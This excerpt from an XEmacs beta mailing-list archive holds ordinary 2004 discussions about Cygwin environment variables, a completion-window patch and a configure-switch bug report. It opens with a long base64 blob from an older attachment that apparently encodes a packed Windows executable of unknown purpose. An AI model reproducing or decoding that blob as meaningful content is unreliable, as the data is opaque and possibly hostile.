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 gAD///8AwMDAAP8AAAAA//8AvwAAAAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiIRIi IiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVVVSUiIiIjRERERERERERERERSUiIiI0RERERERFVU REVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiIRElVVVlUUlIi IiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlUUlIiIiNEiIiI iIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNERERERERERERE RFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIj RERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJSIiIjRDIiIiJE iIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRCd3JERERERERS UiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERERERSUiIiI0RE REREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIiIiQzQzQzQzQz QzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH 4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzoMEABacD9QwPA BcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAoi/BoyMA3D7dF CFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyKNAiIg/j7v1QB dQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwIfXgEii4JEWd6 ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs4PtOjNcUvEb3 AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0YTAJamXoMrv+ EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2dSLGAxU4NXxQ UVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQCXQkEENVJ2yX zo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTNMGJKnwpT2WtZ TrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1+GVy9m8AbmZp Zzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDOEQQN6Ba+EX2k Dnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIHQQIGEwqOQigB dwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4BceMBUB7ADrQRS AzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZuFb6/KWELHEEd Vp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFweUlSm+R0RkTA JFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5UUJNDz+5uNA0Y TGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAA ------=_NextPart_000_001B_01C0CA80.6B015D10-- From xemacs-beta-admin@xemacs.org Fri Apr 23 16:07:07 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3NK73s25749; Fri, 23 Apr 2004 16:07:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3NK6ZL25363 for xemacs-beta-mailman@xemacs.org; Fri, 23 Apr 2004 16:06:35 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3NK6Y425347 for turnbull@tux.org; Fri, 23 Apr 2004 16:06:34 -0400 Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com [194.25.134.80]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3NK6Ws25327; Fri, 23 Apr 2004 16:06:33 -0400 Received: from sfwd01.aul.t-online.de by mailout01.sul.t-online.com with smtp id 1BH6wR-0006Kr-00; Fri, 23 Apr 2004 22:06:31 +0200 Received: from D5DC120J.t-online.de (SUBKKsZrgeV1+sbF9rhi7cFAjOVn7EZp-7qeJQfM9RbWnqIN4FmvkV@[217.89.2.37]) by afwd01.sul.t-online.com with esmtp id 1BH6wO-0epDBw0; Fri, 23 Apr 2004 22:06:28 +0200 To: Edwin Goei Cc: xemacs-beta@xemacs.org Subject: Re: lower case environment variables for abbreviations with cygwin X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B Organization: The XEmacs Project From: Adrian Aichner Date: Fri, 23 Apr 2004 22:07:36 +0200 In-Reply-To: <408862F1.7060304@sun.com> (Edwin Goei's message of "Thu, 22 Apr 2004 17:27:29 -0700") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: SUBKKsZrgeV1+sbF9rhi7cFAjOVn7EZp-7qeJQfM9RbWnqIN4FmvkV X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Edwin Goei writes: > When I was running xemacs on unix, I would set lower case environment > variables in my shell such as "setenv work /long/path/to/work/dir" and > then launch xemacs. Within xemacs I could then use find-file with > $work/xxx and it would all work. > > I am now running on cygwin "XEmacs 21.4 (patch 13) \"Rational FORTRAN\" > [Lucid] (i686-pc-cygwin) of Sun May 25 2003 on TSUNAMI", and this no > longer works. The lower case env vars are converted to all caps (eg. > $WORK) which is more difficult to type. Hi Edwin, what shell are you using to set the lowercase env. var. on Windows? How do you do it? Does that shell recognize the lowercase env. variable? Is this really an XEmacs issue at all? Please advise, Adrian > > I can think of a workaround, but is there a way that I could get the old > lowercase environment var behavior? > > -Edwin > > > -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Fri Apr 23 16:00:25 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3NK09s19073; Fri, 23 Apr 2004 16:00:09 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3NJxJZ18223 for xemacs-beta-mailman@xemacs.org; Fri, 23 Apr 2004 15:59:19 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3NJxIv18206 for turnbull@tux.org; Fri, 23 Apr 2004 15:59:18 -0400 Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com [194.25.134.80]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3NJxDs18136; Fri, 23 Apr 2004 15:59:13 -0400 Received: from sfwd01.aul.t-online.de by mailout01.sul.t-online.com with smtp id 1BH6pG-0006Kr-00; Fri, 23 Apr 2004 21:59:06 +0200 Received: from D5DC120J.t-online.de (bViq4yZrYexKCCuUApMoQI0IB3kGHKCDJakdrgbpF6U+DTMLNec18S@[217.89.2.37]) by afwd01.sul.t-online.com with esmtp id 1BH6p6-0HzbPs0; Fri, 23 Apr 2004 21:58:56 +0200 To: Vin Shelton Cc: Sven Grundmann , xemacs-beta@xemacs.org Subject: Re: [Q21.4] completion list to wide bug fixed X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B Organization: The XEmacs Project From: Adrian Aichner Date: Fri, 23 Apr 2004 22:00:03 +0200 In-Reply-To: (Vin Shelton's message of "Thu, 22 Apr 2004 21:27:53 -0400") Message-ID: <3c6ulb24.fsf@smtpmail.t-online.de> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: bViq4yZrYexKCCuUApMoQI0IB3kGHKCDJakdrgbpF6U+DTMLNec18S X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Vin Shelton writes: > (Moved to xemacs-beta for discussion purposes.) > > Hi, Sven! > > Sven Grundmann writes: > >> Vin Shelton writes: >> >> Hello Vin, >> Thanks for checking out my patch. >>> QUERY - do you think you can address the concerns I raise below? >> I'll give it a try. >>> 1. The comment above the code needs fixing: >>> ;; This needs fixing for the case of windows >>> ;; that aren't the same width's the frame. >> I'll check it out. >>> 2. Also, I note that the patch doesn't completely solve the problem. >>> Do this: >>> >>> a. Split the screen vertically with C-x 3 >>> b. C-x C-f some directory with a list longer than the screen length >>> that would have triggered the bug. >>> c. Notice the scrollbar at the bottom of the window on the right: >>> >>> >>> >>> d. If you click on the scrollbar, you'll notice that the window >>> still thinks it's as wide as the frame, as shown by the arrows >>> on the right edge. >> I think in your case this is caused by the commentary text in the first line. >> I have wrapping activated and there is no scrollbar then. Please tell me >> if this should be fixed. As the commentary text in the first 2 lines >> will allways be too small if the window width is small enough. > > Well, I had thought that might be the case, but I added the following > step: > > (setq completion-default-help-string "x") > > between a and b. This resulted in the following: > > > > What are those arrows on the right side? I don't really know what's > going on here, but I don't think it looks right. Hi Vin, this is the truncation-glyph. Try M-x toggle-truncate-lines and observe how you will either see a truncation-glyph at the right edge of a window with an over-long line, or a continuation-glyph with the rest of the line continuing on the next line. Adrian > > Regards, > Vin -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Fri Apr 23 17:13:08 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3NLD3s23795; Fri, 23 Apr 2004 17:13:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3NLCvB23682 for xemacs-beta-mailman@xemacs.org; Fri, 23 Apr 2004 17:12:57 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3NLCtq23645 for turnbull@tux.org; Fri, 23 Apr 2004 17:12:55 -0400 Received: from lakermmtao09.cox.net (lakermmtao09.cox.net [68.230.240.30]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3NLCos23571 for ; Fri, 23 Apr 2004 17:12:50 -0400 Received: from Cobb029833918S1 ([68.224.196.240]) by lakermmtao09.cox.net (InterMail vM.6.01.03.02 201-2131-111-104-20040324) with ESMTP id <20040423211244.KOML5659.lakermmtao09.cox.net@Cobb029833918S1> for ; Fri, 23 Apr 2004 17:12:44 -0400 Date: Fri, 23 Apr 2004 17:12:54 -0400 Message-Id: <7wsmeumm95.fsf@cox.net> From: Superbiskit To: XEmacs Beta Subject: [Bug: 21.4.15] [DUBIOUS] switch in emacs.c X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , ================================================================ Dear Bug Team! Prowling around in emacs.c trying to sort out why display_use is forked in my installation (but not Volker's), I come across the following --- #ifdef USG_SHARED_LIBRARIES /* If nonzero, this is the place to put the end of the writable segment at startup. */ uintptr_t bss_end = 0; #endif Now, when I've had to play around with configure scripts, these switches are usually named USE_THIS_OPTION, not USG_THIS_OPTION. It won't immediately affect me, because I don't think the cygwin bin knows how to use shared libraries [ I could be wrong ]. But it just might be affecting somebody. ciao ================================================================ System Info to help track down your bug: --------------------------------------- uname -a: CYGWIN_NT-5.0 summer 1.5.7(0.109/3/2) 2004-01-30 19:32 i686 unknown unknown Cygwin /usr/src/xemacs-21.4.15/configure '--pdump' '--srcdir=/usr/src/xemacs-21.4.15' '--prefix=/usr' '--datadir=/usr/share' '--statedir=/var' '--libdir=/usr/lib' '--infodir=/usr/share/xemacs-21.4.15/info' '--mandir=/usr/share/man/man1' '--package-path=/usr/local/share/xemacs/site-packages:/usr/share/xemacs/site-packages:/usr/share/xemacs/xemacs-packages:/usr/share/xemacs/mule-packages' '--with-mule' '--with_file_coding=yes' '--with_msw=yes' '--with-modules=no' '--with-dialogs=motif' '--with-widgets=motif' XEmacs 21.4.15 "Security Through Obscurity" configured for `i686-pc-cygwin'. Compilation / Installation: Source code location: /usr/src/xemacs-21.4.15 Installation prefix: /usr Operating system description file: `s/cygwin32.h' Machine description file: `m/intel386.h' Compiler: gcc -g -O3 -Wall -Wno-switch -Winline -Wmissing-prototypes -Wsign-compare -fno-strict-aliasing -Wshadow -Wpointer-arith Compiler version: gcc (GCC) 3.3.1 (cygming special) Compiler specs file: /usr/lib/gcc-lib/i686-pc-cygwin/3.3.1/specs Relocating allocator for buffers: no GNU version of malloc: yes libc: system-provided libc on i686-pc-cygwin Window System: Compiling in support for the Microsoft window system. Compiling in support for the X window system: - X Windows headers location: /usr/X11/include - X Windows libraries location: /usr/X11R6/lib - Handling WM_COMMAND properly. Compiling in support for Motif. - Using LessTif implementation. *WARNING* Many versions of Motif are buggy, requiring workarounds. You are likely to experience slow redisplay. You may need to install vendor patches to Motif. See PROBLEMS for more information. Using Lucid menubars. Using Lucid scrollbars. Using Motif dialog boxes. Using Motif native widgets. TTY: Compiling in support for ncurses. Images: Compiling in support for GIF images (builtin). Compiling in support for XPM images. Compiling in support for PNG images. Compiling in support for JPEG images. Compiling in support for TIFF images. Compiling in support for X-Face message headers. Sound: Compiling in support for sound (native). Databases: Compiling in support for Berkeley database. Compiling in support for LDAP. Compiling in support for PostgreSQL. - Using PostgreSQL header file: libpq-fe.h - Using PostgreSQL V7 bindings. Internationalization: Compiling in support for Mule (multi-lingual Emacs). Compiling in support for file coding. Compiling in support for XIM (X11R5+ I18N input method). - Using raw Xlib to provide XIM support. Mail: Compiling in support for POP mail retrieval. Other Features: Inhibiting IPv6 canonicalization at startup. Using the new portable dumper. Load-Path Lisp Shadows: ---------------------- (/usr/share/xemacs-21.4.15/lisp/build-report /usr/share/xemacs/xemacs-packages/lisp/build/build-report /usr/share/emacs/site-lisp/make-regexp /usr/share/xemacs/xemacs-packages/lisp/ess/make-regexp) Installed XEmacs Packages: ------------------------- (zenirc ver: 1.15 upstream: 2.112) (xslt-process ver: 1.11 upstream: regular) (xslide ver: 1.09 upstream: 0.2.2) (xemacs-devel ver: 1.61 upstream: No-Upstream-Ver) (xemacs-base ver: 1.84 upstream: No-Upstream-Ver) (x-symbol ver: 1.09 upstream: 4.5.1) (w3 ver: 1.29 upstream: 4.0pre47) (vm ver: 7.18 upstream: 7.17) (viper ver: 1.37 upstream: 3.09) (view-process ver: 1.13 upstream: 2.4) (vhdl ver: 1.18 upstream: 3.31.20) (vc-cc ver: 1.22 upstream: No-Upstream-Ver) (vc ver: 1.38 upstream: No-Upstream-Ver) (tramp ver: 1.17 upstream: 2.0.35) (tpu ver: 1.14 upstream: 4.2X) (tooltalk ver: 1.15 upstream: No-Upstream-Ver) (tm ver: 1.37 upstream: No-Upstream-Ver) (time ver: 1.14 upstream: 1.17) (textools ver: 1.15 upstream: No-Upstream-Ver) (text-modes ver: 1.73 upstream: No-Upstream-Ver) (texinfo ver: 1.25 upstream: No-Upstream-Ver) (supercite ver: 1.2 upstream: 3.55x3) (strokes ver: 1.1 upstream: No-Upstream-Ver) (speedbar ver: 1.27 upstream: 0.14beta4) (sounds-wav ver: 1.12 upstream: No-Upstream-Ver) (sounds-au ver: 1.12 upstream: No-Upstream-Ver) (sml-mode ver: 0.11 upstream: 3.9.5) (slider ver: 1.15 upstream: 0.3x1) (sieve ver: 1.15 upstream: No-Upstream-Ver) (sh-script ver: 1.18 upstream: 2.0e) (sgml ver: 1.11 upstream: No-Upstream-Ver) (semantic ver: 1.18 upstream: 1.4.2) (scheme ver: 1.14 upstream: No-Upstream-Ver) (sasl ver: 1.14 upstream: 1.14.4) (ruby-modes ver: 1.02 upstream: 1.6.8) (rmail ver: 1.14 upstream: No-Upstream-Ver) (riece ver: 1.14 upstream: 0.1.7) (reftex ver: 1.33 upstream: 4.21) (python-modes ver: 1.03 upstream: No-Upstream-Ver) (psgml-dtds ver: 1.03 upstream: No-Upstream-Ver) (psgml ver: 1.42 upstream: 1.3.1) 